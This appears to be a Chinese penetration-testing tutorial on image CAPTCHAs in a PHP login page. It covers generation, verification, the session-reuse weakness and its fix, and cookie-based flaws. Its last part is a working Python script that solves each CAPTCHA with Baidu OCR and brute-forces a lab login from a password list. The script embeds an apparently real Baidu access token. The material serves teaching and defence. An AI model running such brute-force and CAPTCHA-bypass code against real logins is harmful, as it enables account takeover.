渗透测试-SQL注入-登录漏洞-验证码
- 一、验证码生成原理
- 二、验证码代码实现
- 三、修改页面调用验证码
- 四、登录的验证码校验
- 五、Session验证码存在的漏洞
- 六、Session验证码的防护方法
- 七、避免使用Cookie验证码
- 八、使用机器学习识别验证码
- 九、使用百度API识别验证码
- 十、总结
一、验证码生成原理
核心目的确保人在使用系统
验证码类别有:图片验证码 拖动验证码 拼图验证码 问答验证码 计算验证码
这里我们使用图片验证码
图片验证码 :
- 随机生成,确保无规律
- 图片展示
- 文字变形形成扰乱图像
二、验证码代码实现
基于PHP绘制图片,生成验证码,然后将验证码保存在Session变量中
<?php
//利用Session保存图片验证码
session_start();
getCode();
//生成图片验证码
function getCode($vlen = 4,$width = 110,$height = 40){
//定义响应类型为PNG图片
header("content-type:image/png");
//生成随机验证码字符串,并将其保存在Session中
$chars = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890';
$vcode = substr(str_shuffle($chars),0,$vlen);
$_SESSION['vcode'] = $vcode;
//定义图片并设置背景色RGB为:100,200,100
$image = imagecreate($width,$height);
$imgColor = imagecolorallocate($image,100,200,200);
//以RGB=0,0,0的颜色绘制黑色文字
$color = imagecolorallocate($image,0,0,0);
imagestring($image,5,30,12,$vcode,$color);
//生成一批随机位置的干扰点
for($i=0;$i<50;$i++){
imagesetpixel($image,rand(0,$width),rand(0,$height),$color);
}
//输出图片验证码
imagepng($image);
imagedestroy($image);
}
?>
三、修改页面调用验证码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录</title>
<style>
#box{
height: 900px;
background-image: url(./image/1.webp);
text-align: center;
}
#title{
width: 120px;
font-size: 50px;
text-align: center;
color: orangered;
float: left;
margin-top: 130px;
margin-left: 950px;
}
.login{
width: 350px;
height: 40px;
float: left;
margin-top: 20px;
margin-left:840px;
}
/*#passwd{
width: 350px;
height: 40px;
float: left;
margin-top: 10px;
margin-left:840px;
}
#qg{
width: 350px;
height: 40px;
float: left;
margin-top: 10px;
margin-left:840px;
} */
input{
width: 350px;
height: 35px;
font-size: 20px;
text-align: center;
float: left;
}
input[name="vcode"]{
width: 210px;
border: solid 2px red;
float: left;
}
.login button{
width: 355px;
height: 45px;
background-color: rgba(129, 129, 255, 0.829);
font-size: 30px;
}
#def{
width: 350px;
height: 45px;
float: left;
margin-top: 350px;
margin-left:840px;
text-align: center;
}
#def span{
color: chartreuse;
font-size: 25px;
}
</style>
</head>
<body>
<div id="box">
<div id="title">登 录</div>
<form action="login-3.php" method="POST">
<div class="login">
<input type="text" name="username">
</div>
<div class="login">
<input type="password" name="password">
</div>
<div class="login">
<input type="text" name="vcode">
<img src="vcode.php" />
</div>
<div class="login">
<button type="submit">登录</button>
</div>
</form>
<div id="def">
<span>最终解释权归您所有</span>
</div>
</div>
</body>
</html>
效果图
四、登录的验证码校验
//根据图片验证码验证
if (strtoupper($_SESSION['vcode']) != strtoupper($vcode)) {
die("vcode-error");
}
五、Session验证码存在的漏洞
当验证码保存在Session变量中,每一次刷新登录页面,会重新访问一次vcode.php,当时如果不刷新页面,而是通过Python、Fiddler、Burp等发送登录请求,则此时验证码在Session中会保持最后一个,从而只需要在发送登录请求时将验证码设置为最后一个即可。
所以,验证码每使用一次必须清空,防止下一次使用。
可能被爆破
下图展示的是Burp爆破验证码的过程,没使用过的话,可以先去了解一下这个工具
六、Session验证码的防护方法
验证码只允许使用一次,每用一次就需要清空,让用户不得不再次请求vcode.php获取新的验证码
//根据图片验证码验证
if (strtoupper($_SESSION['vcode']) != strtoupper($vcode)) {
die("vcode-error");
}else {
//验证码成功后清空本次Session中的验证码
unset($_SESSION['vcode']);
//$_SESSION['vcode'] = ''; //可以用空字符验证码绕过
}
//每提交一次都清空,会增加服务器负担
unset($_SESSION['vcode']);
七、避免使用Cookie验证码
Session的生成过程,当用户第一次访问服务器是,如果请求中没有带Cookie字段,则服务器会在首次调用session_start()的页面中响应一个Session ID,默认命名为PHPSESSIONID,响应的字段值如下:
Set-Cookie: PHPSESSID=sdl42a4q0c8as29vqp168mkuli; path/ //可以理解为系统自动生成的
接下来,后续的每个请求,将会在请求头的Cookie字段中添加Session ID,目的告诉服务器身份
Cookie: PHPSESSID=sdl42a4q0c8as29vqp168mkuli
在服务器端也可以手工生成Cookie
//调用setcookie函数生成自定义Cookie
setcookie("vcode",$vcode,time()+3600*24*30*12);
由于Cookie是在客户端保存,所以服务器利用Cookie进行验证码验证没有任何价值,Cookie得知完全有客户端请求字段决定
八、使用机器学习识别验证码
这是一种比较高级的验证码识别方法,我们给出实现代码,如果想自己尝试的话,需要自己去申请百度API的使用,这个并不难,看你有没有兴趣去弄
通过机器学习,不断获取验证码图片,然后对正确答案进行标注,让机器学习对图片的正确答案与文字样式对应。只要学习数量够多,则识别率会足够高。
$type = $_GET['type'];
if ($type == 'vcode'){
getCode();
}elseif($type == 'text'){
echo $_SESSION['vcode'];
}
上述代码:发送请求为http://192.168.88.130/security/vcode.php?type=vcode获得验证码图片
发送请求为http://192.168.88.130/security/vcode.php?type=text获得标准答案
九、使用百度API识别验证码
# coding:utf-8
import base64
import time
import requests
from tqdm import tqdm
# 百度在线获取access-token
def baidu_token():
client_id = '你申请的API Key' #API Key
client_secret = '你申请的Secret Key' #Secret Key
host = f'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&' \
f'client_id={client_id}&' \
f'client_secret={client_secret}'
response = requests.get(host)
print(response.text)
# 调用百度接口完成OCR识别
def baidu_ocr():
url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"
# 二进制方式打开图片文件
f = open(r".\vcode.png",'rb')
img = base64.b64encode(f.read())
params = {"image":img}
access_token = '24.8796578eda0d6b960219de051225bd2c.2592000.1694402426.282335-37566959'
request_url = url + "?access_token=" + access_token
headers = {'content-type' : 'application/x-www-form-urlencoded'}
response = requests.post(request_url,data=params,headers=headers)
if response:
print(response.json())
print(response.text)
# 利用OCR实现爆破
def burst_login(password):
session = requests.session()
# 先获取验证码图片的二进制数据
resp_vcode = session.get('http://192.168.88.130/security/vcode.php')
img = base64.b64encode(resp_vcode.content)
# 交给百度OCR识别
params = {"image": img}
access_token = '24.8796578eda0d6b960219de051225bd2c.2592000.1694402426.282335-37566959'
baidu_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"
baidu_url = baidu_url + "?access_token=" + access_token
headers = {'content-type': 'application/x-www-form-urlencoded'}
resp_baidu = requests.post(baidu_url, data=params, headers=headers)
if resp_baidu:
vcode = resp_baidu.json()["words_result"][0]["words"]
# 进行登录的爆破
data = {'username': 'fjchiyzly', 'password': password, 'vcode': vcode}
login_url = 'http://192.168.88.130/security/login-3.php'
resp = session.post(login_url, data)
if 'vcode-error' in resp.text:
print(f'验证码出错: {data}') # 用于对验证码出错的再爆破
elif('login-fail' not in resp.text) and ('vcode-error' not in resp.text):
print(f'登录成功!,Payload为:{data}')
if __name__ == '__main__':
#baidu_token()
#baidu_ocr()
with open(r".\password-top300.txt") as file:
pass_list = file.readlines()
for password in pass_list:
burst_login(password[:-1])
time.sleep(2)
十、总结
- 本文给出了图片验证码的实现
- 同时给出了验证码存在的问题,还是用了机器学习的方法识别图片验证码
- 完整源码见:https://github.com/chengstery/security/tree/main/linux_login